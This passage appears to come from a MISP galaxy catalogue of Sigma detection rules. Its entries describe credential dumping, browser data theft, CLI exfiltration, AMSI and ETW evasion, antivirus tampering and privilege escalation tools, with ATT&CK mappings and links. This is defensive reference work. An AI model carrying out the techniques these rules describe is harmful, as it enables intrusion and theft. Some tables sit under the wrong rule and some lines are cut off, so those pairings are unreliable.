<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_secutyxploded.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_secutyxploded.yml</a></td>
</tr>
</tbody>
</table>

RDP Connection Allowed Via Netsh.EXE

Detects usage of the netsh command to open and allow connections to port 3389 (RDP). As seen used by Sarwent Malware

The tag is: misp-galaxy:sigma-rules="RDP Connection Allowed Via Netsh.EXE"

View relationships graph

RDP Connection Allowed Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 10267. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_allow_rdp.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_allow_rdp.yml</a></td>
</tr>
</tbody>
</table>

HackTool - SysmonEOP Execution

Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120

The tag is: misp-galaxy:sigma-rules="HackTool - SysmonEOP Execution"

View relationships graph

HackTool - SysmonEOP Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
**HackTool - SharpLdapWhoami Execution**

Detects SharpLdapWhoami, a whoami alternative that queries the LDAP service on a domain controller

The tag is: `misp-galaxy:sigma-rules="HackTool - SharpLdapWhoami Execution"`

View relationships graph

HackTool - SharpLdapWhoami Execution has relationships with:


**Suspicious PowerShell Mailbox Export to Share**

Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations

The tag is: `misp-galaxy:sigma-rules="Suspicious PowerShell Mailbox Export to Share"`
**Imports Registry Key From a File**

Detects the import of the specified file to the registry with regedit.exe.

The tag is: *misp-galaxy:sigma-rules*="Imports Registry Key From a File"

View relationships graph

Imports Registry Key From a File has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

**Potential AMSI Bypass Using NULL Bits**

Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities

The tag is: *misp-galaxy:sigma-rules*="Potential AMSI Bypass Using NULL Bits"

View relationships graph

Potential AMSI Bypass Using NULL Bits has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

**Suspicious Scheduled Task Creation Involving Temp Folder**

Detects the creation of scheduled tasks that involves a temporary folder and runs only once
The tag is: `misp-galaxy:sigma-rules="Suspicious Scheduled Task Creation Involving Temp Folder"`

**View relationships graph**

Suspicious Scheduled Task Creation Involving Temp Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

**Table 10273. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3">https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_creation_temp_folder.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_creation_temp_folder.yml</a></td>
</tr>
</tbody>
</table>

**VeeamBackup Database Credentials Dump Via Sqlcmd.EXE**

Detects dump of credentials in VeeamBackup dbo

The tag is: `misp-galaxy:sigma-rules="VeeamBackup Database Credentials Dump Via Sqlcmd.EXE"`

**View relationships graph**

VeeamBackup Database Credentials Dump Via Sqlcmd.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"

**Table 10274. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2021/12/13/diavol-ransomware/">https://thedfirreport.com/2021/12/13/diavol-ransomware/</a></td>
</tr>
</tbody>
</table>

**PUA - Process Hacker Execution**

Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors regularly abuse it to manipulate system processes.

The tag is: `misp-galaxy:sigma-rules="PUA - Process Hacker Execution"`

**View relationships graph**
PUA - Process Hacker Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Debugger Evasion - T1622" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

**Table 10275. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://processhacker.sourceforge.io/">https://processhacker.sourceforge.io/</a></td>
</tr>
</tbody>
</table>

**Suspicious Manipulation Of Default Accounts Via Net.EXE**

Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc

The tag is: misp-galaxy:sigma-rules="Suspicious Manipulation Of Default Accounts Via Net.EXE"

**View relationships graph**

Suspicious Manipulation Of Default Accounts Via Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

**Table 10276. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/">https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/</a></td>
</tr>
</tbody>
</table>
Rundll32 Registered COM Objects

load malicious registered COM objects

The tag is: misp-galaxy:sigma-rules="Rundll32 Registered COM Objects"

View relationships graph

Rundll32 Registered COM Objects has relationships with:


Table 10277. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90">https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffdd3742bf365fee2a9/atomics/T1546.015/T1546.015.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffdd3742bf365fee2a9/atomics/T1546.015/T1546.015.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml</a></td>
</tr>
</tbody>
</table>

Writing Of Malicious Files To The Fonts Folder

Monitors for the hiding possible malicious files in the C:\Windows\Fonts\ location. This folder doesn’t require admin privilege to be written and executed from.

The tag is: misp-galaxy:sigma-rules="Writing Of Malicious Files To The Fonts Folder"

View relationships graph

Writing Of Malicious Files To The Fonts Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10278. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/">https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hiding_malware_in_fonts_folder.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hiding_malware_in_fonts_folder.yml</a></td>
</tr>
</tbody>
</table>
Potential Browser Data Stealing

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store.

The tag is: misp-galaxy:sigma-rules="Potential Browser Data Stealing"

Table 10279. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_browser_data.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_browser_data.yml</a></td>
</tr>
</tbody>
</table>

Renamed NetSupport RAT Execution

Detects the execution of a renamed "client32.exe" (NetSupport RAT) via Imphash, Product and OriginalFileName strings

The tag is: misp-galaxy:sigma-rules="Renamed NetSupport RAT Execution"

Table 10280. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/misbehaving-rats/">https://redcanary.com/blog/misbehaving-rats/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_netsupport_rat.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_netsupport_rat.yml</a></td>
</tr>
</tbody>
</table>

Potential MsiExec Masquerading

Detects the execution of msiexec.exe from an uncommon directory

The tag is: misp-galaxy:sigma-rules="Potential MsiExec Masquerading"

Potential MsiExec Masquerading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"
Table 10281. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/200_okay_/status/1194765831911215104">https://twitter.com/200_okay_/status/1194765831911215104</a></td>
</tr>
</tbody>
</table>

**Suspicious Outlook Child Process**

Detects a suspicious process spawning from an Outlook process.

The tag is: *misp-galaxy:sigma-rules*="Suspicious Outlook Child Process"

View relationships graph

Suspicious Outlook Child Process has relationships with:


Table 10282. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/465aabe132cc8e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bb21?environmentId=100">https://www.hybrid-analysis.com/sample/465aabe132cc8e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bb21?environmentId=100</a></td>
</tr>
</tbody>
</table>

**Copy From VolumeShadowCopy Via Cmd.EXE**

Detects the execution of the builtin "copy" command that targets a shadow copy (sometimes used to copy registry hives that are in use)

The tag is: *misp-galaxy:sigma-rules*="Copy From VolumeShadowCopy Via Cmd.EXE"

View relationships graph

Copy From VolumeShadowCopy Via Cmd.EXE has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp

Detects suspicious child processes of Excel which could be an indicator of lateral movement leveraging the "ActivateMicrosoftApp" Excel DCOM object.

The tag is: misp-galaxy:sigma-rules="Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp"

View relationships graph

Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 10284. Table References

Links

https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922
https://github.com/grayhatkiller/SharpExShell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_excel_dcom_lateral_movement.yml

Suspicious Msiexec Execute Arbitrary DLL

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)

The tag is: misp-galaxy:sigma-rules="Suspicious Msiexec Execute Arbitrary DLL"

View relationships graph

Suspicious Msiexec Execute Arbitrary DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-
Potential MSTSC Shadowing Activity

Detects RDP session hijacking by using MSTSC shadowing

The tag is: misp-galaxy:sigma-rules="Potential MSTSC Shadowing Activity"

View relationships graph

Potential MSTSC Shadowing Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"

Wusa.EXE Executed By Parent Process Located In Suspicious Location

Detects execution of the "wusa.exe" (Windows Update Standalone Installer) utility by a parent process that is located in a suspicious location.

The tag is: misp-galaxy:sigma-rules="Wusa.EXE Executed By Parent Process Located In Suspicious Location"
Suspicious Schtasks Schedule Type With High Privileges

Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type

The tag is: `misp-galaxy:sigma-rules="Suspicious Schtasks Schedule Type With High Privileges"`

View relationships graph

Suspicious Schtasks Schedule Type With High Privileges has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

Table 10288. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-change</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_schedule_type_system.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_schedule_type_system.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

Taskkill Symantec Endpoint Protection

Detects one of the possible scenarios for disabling Symantec Endpoint Protection. Symantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism. As a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.

The tag is: `misp-galaxy:sigma-rules="Taskkill Symantec Endpoint Protection"`

View relationships graph

Taskkill Symantec Endpoint Protection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"
Potential PowerShell Obfuscation Via WCHAR

Detects suspicious encoded character syntax often used for defense evasion

The tag is: misp-galaxy: sigma-rules = "Potential PowerShell Obfuscation Via WCHAR"

View relationships graph

Potential PowerShell Obfuscation Via WCHAR has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern = "PowerShell - T1059.001" with estimative-language: likelihood-probability = "almost-certain"
- related-to: misp-galaxy: mitre-attack-pattern = "Obfuscated Files or Information - T1027" with estimative-language: likelihood-probability = "almost-certain"

Invoke-Obfuscation Via Use MSHTA

Detects Obfuscated Powershell via use MSHTA in Scripts

The tag is: misp-galaxy: sigma-rules = "Invoke-Obfuscation Via Use MSHTA"

View relationships graph

Invoke-Obfuscation Via Use MSHTA has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern = "Obfuscated Files or Information - T1027" with estimative-language: likelihood-probability = "almost-certain"
- related-to: misp-galaxy: mitre-attack-pattern = "PowerShell - T1059.001" with estimative-
Suspicious NTLM Authentication on the Printer Spooler Service

Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service

The tag is: *misp-galaxy:sigma-rules=*"Suspicious NTLM Authentication on the Printer Spooler Service"

View relationships graph

Suspicious NTLM Authentication on the Printer Spooler Service has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"

Suspicious File Download From File Sharing Domain Via Curl.EXE

Detects potentially suspicious file download from file sharing domains using curl.exe

The tag is: *misp-galaxy:sigma-rules=*"Suspicious File Download From File Sharing Domain Via Curl.EXE"

<table>
<thead>
<tr>
<th>Table 10291. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_use_mhsta.yml</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Table 10292. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://twitter.com/med0x2e/status/1520402518685200384">https://twitter.com/med0x2e/status/1520402518685200384</a></td>
</tr>
<tr>
<td><a href="https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml">https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_ntlmrelay.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_ntlmrelay.yml</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Table 10293. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://labs.withsecure.com/publications/fin7-target-veeam-servers">https://labs.withsecure.com/publications/fin7-target-veeam-servers</a></td>
</tr>
</tbody>
</table>
Suspicious Process By Web Server Process

Detects potentially suspicious processes being spawned by a web server process which could be the result of a successfully placed web shell or exploitation.

The tag is: misp-galaxy:sigma-rules="Suspicious Process By Web Server Process"

View relationships graph

Suspicious Process By Web Server Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 10294. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_suspe...Spawned_from_webserver.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_suspe...Spawned_from_webserver.yml</a></td>
</tr>
</tbody>
</table>

MSExchange Transport Agent Installation

Detects the installation of a Exchange Transport Agent.

The tag is: misp-galaxy:sigma-rules="MSExchange Transport Agent Installation"

View relationships graph

MSExchange Transport Agent Installation has relationships with:


Table 10295. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=7">https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=7</a></td>
</tr>
</tbody>
</table>
Potential Data Exfiltration Activity Via CommandLine Tools

Detects the use of various CLI utilities exfiltrating data via web requests

The tag is: misp-galaxy:sigma-rules="Potential Data Exfiltration Activity Via CommandLine Tools"

View relationships graph

Potential Data Exfiltration Activity Via CommandLine Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 10296. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_data_exfiltration_via_cli.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_data_exfiltration_via_cli.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Tasklist Discovery Command

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network

The tag is: misp-galaxy:sigma-rules="Suspicious Tasklist Discovery Command"

View relationships graph

Suspicious Tasklist Discovery Command has relationships with:


Table 10297. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f9f0c37d432bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-2---process-discovery---tasklist">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f9f0c37d432bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-2---process-discovery---tasklist</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tasklist_basic_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tasklist_basic_execution.yml</a></td>
</tr>
</tbody>
</table>

6476
**HackTool - KrbRelayUp Execution**

Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced.

The tag is: `misp-galaxy:sigma-rules="HackTool - KrbRelayUp Execution"`

**View relationships graph**

HackTool - KrbRelayUp Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003"` with estimative-language:likelihood-probability="almost-certain"

**Table 10298. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Dec0ne/KrbRelayUp">https://github.com/Dec0ne/KrbRelayUp</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_krbrelayup.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_krbrelayup.yml</a></td>
</tr>
</tbody>
</table>

**Rundll32 Execution Without CommandLine Parameters**

Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity.

The tag is: `misp-galaxy:sigma-rules="Rundll32 Execution Without CommandLine Parameters"`

**View relationships graph**

Rundll32 Execution Without CommandLine Parameters has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

**Table 10299. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/ber_m1ng/status/1397948048135778309">https://twitter.com/ber_m1ng/status/1397948048135778309</a></td>
</tr>
<tr>
<td><a href="https://www.cobaltstrike.com/help-opsec">https://www.cobaltstrike.com/help-opsec</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_no_params.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_no_params.yml</a></td>
</tr>
</tbody>
</table>
Potential Binary Impersonating Sysinternals Tools

Detects binaries that use the same name as legitimate sysinternals tools to evade detection

The tag is: `misp-galaxy:sigma-rules="Potential Binary Impersonating Sysinternals Tools"`

**View relationships graph**

Potential Binary Impersonating Sysinternals Tools has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

Table 10300. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_tools_masquerading.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_tools_masquerading.yml</a></td>
</tr>
</tbody>
</table>

LOLBAS Data Exfiltration by DataSvcUtil.exe

Detects when a user performs data exfiltration by using DataSvcUtil.exe

The tag is: `misp-galaxy:sigma-rules="LOLBAS Data Exfiltration by DataSvcUtil.exe"`

**View relationships graph**

LOLBAS Data Exfiltration by DataSvcUtil.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567"` with estimative-language:likelihood-probability="almost-certain"

Table 10301. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/">https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6">https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6</a></td>
</tr>
</tbody>
</table>
Potential Tampering With RDP Related Registry Keys Via Reg.EXE

Detects the execution of "reg.exe" for enabling/disabling the RDP service on the host by tampering with the 'CurrentControlSet\Control\Terminal Server' values

The tag is: misp-galaxy:sigma-rules="Potential Tampering With RDP Related Registry Keys Via Reg.EXE"

View relationships graph

Potential Tampering With RDP Related Registry Keys Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 10302. Table References

Links

- https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/

Suspicious Windows Service Tampering

Detects the usage of binaries such as 'net', 'sc' or 'powershell' in order to stop, pause or delete critical or important Windows services such as AV, Backup, etc. As seen being used in some ransomware scripts

The tag is: misp-galaxy:sigma-rules="Suspicious Windows Service Tampering"

View relationships graph

Suspicious Windows Service Tampering has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 10303. Table References

Links

- https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg
Disable of ETW Trace

Detects a command that clears or disables any ETW trace log which could indicate a logging evasion.

The tag is: misp-galaxy:sigma-rules="Disable of ETW Trace"

View relationships graph

Disable of ETW Trace has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 10304. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://abuse.io/lockergoga.txt">https://abuse.io/lockergoga.txt</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil</a></td>
</tr>
<tr>
<td><a href="https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63">https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_etw_trace_evasion.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_etw_trace_evasion.yml</a></td>
</tr>
</tbody>
</table>

Potential Crypto Mining Activity

Detects command line parameters or strings often used by crypto miners

The tag is: misp-galaxy:sigma-rules="Potential Crypto Mining Activity"

View relationships graph
Potential Crypto Mining Activity has relationships with:


Table 10305. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.poolwatch.io/coin/monero">https://www.poolwatch.io/coin/monero</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crypto_mining_monero.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_crypto_mining_monero.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE

Detects Netsh command execution that whitelists a program located in a suspicious location in the Windows Firewall

The tag is: misp-galaxy:sigma-rules="Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE"

View relationships graph

Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 10306. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100">https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100</a></td>
</tr>
<tr>
